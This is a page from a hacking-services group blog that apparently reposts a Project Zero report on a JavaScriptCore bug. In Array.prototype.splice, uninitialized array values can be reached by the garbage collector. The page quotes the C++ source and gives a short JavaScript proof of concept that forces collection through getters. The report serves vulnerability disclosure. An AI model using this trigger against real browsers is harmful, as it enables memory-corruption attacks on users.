Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86383909

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1234

Here's a snippet of arrayProtoFuncSplice.

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
{
    ...

            result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);
            if (UNLIKELY(!result)) {
                throwOutOfMemoryError(exec, scope);
                return encodedJSValue();
            }

            // The result can have an ArrayStorage indexing type if we're having a bad time.
            bool isArrayStorage = hasAnyArrayStorage(result->indexingType());
            bool success = false;
            if (UNLIKELY(isArrayStorage)) {
                static const bool needToFillHolesManually = true;
                success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount);
            } else {
                ASSERT(hasUndecided(result->indexingType()));
                static const bool needToFillHolesManually = false;
                success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount);
            }
            if (UNLIKELY(!success)) {
                ASSERT(scope.exception());
                return encodedJSValue();
            }
    ...
}

|result| has uninitalized values. If a GC is triggered before those values get initalized, the garbage collector will refer the uninitialized values.

PoC:
-->

function gc() {
    for (let i = 0; i < 4; i++)
        new ArrayBuffer(0x1000000);
}

Array.prototype.__defineGetter__(1000, () => 0);

for (let i = 0; i < 0x1000; i++)
    new Array(0x10).fill([{}, {}, {}, {}]);

for (let i = 0; i < 0x1000; i++) {
    let x = {length: 0x10};
    x.__defineGetter__(0, () => gc());
    Array.prototype.splice.call(x, 0);
}